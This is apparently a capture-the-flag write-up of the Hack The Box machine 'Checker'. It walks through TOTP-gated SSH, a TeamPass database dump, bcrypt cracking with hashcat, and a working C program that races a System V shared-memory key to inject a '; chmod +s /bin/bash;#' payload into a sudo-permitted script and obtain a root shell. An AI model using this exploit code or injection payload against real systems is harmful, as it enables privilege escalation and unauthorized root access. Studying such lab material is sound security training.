All write-ups
8 min read

HTB: Checker

HTBLinuxTOTPTeamPassRace ConditionShared MemoryPrivEsc

Overview

Checker is a Linux machine built around two-factor SSH access and a self-hosted password manager. Initial access requires generating a one-time password from a shared secret; lateral movement pivots through a vulnerable TeamPass instance to recover a second user's credentials; and privilege escalation abuses a time-of-check/time-of-use (TOCTOU) race condition in a sudo-permitted script that trusts data written to a predictable System V shared memory segment.

Initial Access: TOTP-Gated SSH

The engagement briefing provides a base32 TOTP secret alongside a password for the reader account. Rather than relying on an authenticator app, the same code can be generated with any TOTP tool that accepts a raw secret — for example the generator at it-tools.tech:

Secret: [REDACTED]

SSH then prompts for the six-digit code as an additional authentication factor after the password:

ssh reader@checker.htb
# Password: [REDACTED]
# Verification code: <code from the TOTP secret>
cat user.txt
# [REDACTED]

Lateral Movement: TeamPass Credential Leak

The reader account has no sudo rights of its own — privilege escalation is gated behind a second user, bob. Enumerating web services on the host surfaces a TeamPass instance on port 8080, a self-hosted, database-backed password manager.

TeamPass has a documented history of authentication and injection weaknesses. A vulnerability-scanning script targeted at the instance dumps the internal user table directly from the database, disclosing bcrypt hashes for both accounts:

$ ./script_vulnerabilita_teampass.sh http://checker.htb:8080

There are 2 users in the system:
admin: [REDACTED]
bob: [REDACTED]

Cracking bob's hash offline with a standard wordlist recovers the plaintext password:

hashcat -m 3200 -a 0 bob.hash /usr/share/wordlists/rockyou.txt
# [REDACTED]

Logging into the TeamPass web UI as bob surfaces a stored credential for an internal vault endpoint (vault.checker.htb), whose password is itself the login bob needs on the box:

Account:  bob@checker.htb
Password: [REDACTED]

Switching to bob (or SSH'ing in directly with the recovered password) provides the account that the root-escalation path actually requires.

Privilege Escalation: Shared Memory Race Condition

As bob, sudo -l reveals a single permitted command:

sudo /opt/hash-checker/check-leak.sh bob

check-leak.sh is a monitoring script that watches a fixed-size POSIX/System V shared memory segment for a "leaked hash" string and reports it — but the string it reads is interpolated into a shell command without sanitization. Whatever text sits in that shared memory segment at read time gets executed verbatim.

The segment's key is derived from rand(), seeded with the current wall-clock time and reduced modulo 0xfffff. That keyspace is small enough to spray: a short C program repeatedly reseeds, computes a candidate key, creates (or attaches to) the corresponding shared memory segment, and overwrites its contents with a malicious payload disguised as a leaked-hash report:

#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>

#define SHM_SIZE 0x400
#define SHM_MODE 0x3B6 /* 0666 */

int main(void) {
    time_t current_time = time(NULL);
    srand((unsigned int)current_time);

    int random_value = rand();
    key_t key = random_value % 0xfffff;

    printf("Generated key: 0x%X\n", key);

    int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
    if (shmid == -1) { perror("shmget"); exit(EXIT_FAILURE); }

    char *shmaddr = (char *)shmat(shmid, NULL, 0);
    if (shmaddr == (char *)-1) { perror("shmat"); exit(EXIT_FAILURE); }

    /* the trailing quote + semicolon breaks out of the script's
       unsanitized shell interpolation */
    const char *payload =
        "Leaked hash detected at Sat Feb 22 23:21:48 2025 > '; chmod +s /bin/bash;#";

    snprintf(shmaddr, SHM_SIZE, "%s", payload);
    printf("Shared Memory Content:\n%s\n", shmaddr);

    if (shmdt(shmaddr) == -1) { perror("shmdt"); exit(EXIT_FAILURE); }
    return 0;
}
gcc -o racer racer.c
while true; do ./racer; done

With the sprayer running continuously in one shell, invoking the sudo-permitted script in another wins the race once check-leak.sh happens to read a segment holding the crafted payload:

sudo /opt/hash-checker/check-leak.sh bob

The injected chmod +s /bin/bash executes as root. Once /bin/bash carries the SUID bit, a shell dropping privileges is no longer necessary:

ls -l /bin/bash
# -rwsr-xr-x 1 root root ...

bash -p
id
# uid=1000(bob) gid=1000(bob) euid=0(root)

cat /root/root.txt
# [REDACTED]

Cleanup

Since /bin/bash now carries a world-usable SUID bit, remove it once the flag is captured — leaving a root-privileged shell binary readable by any local user is a real backdoor, not just an artifact of the exploit:

chmod -s /bin/bash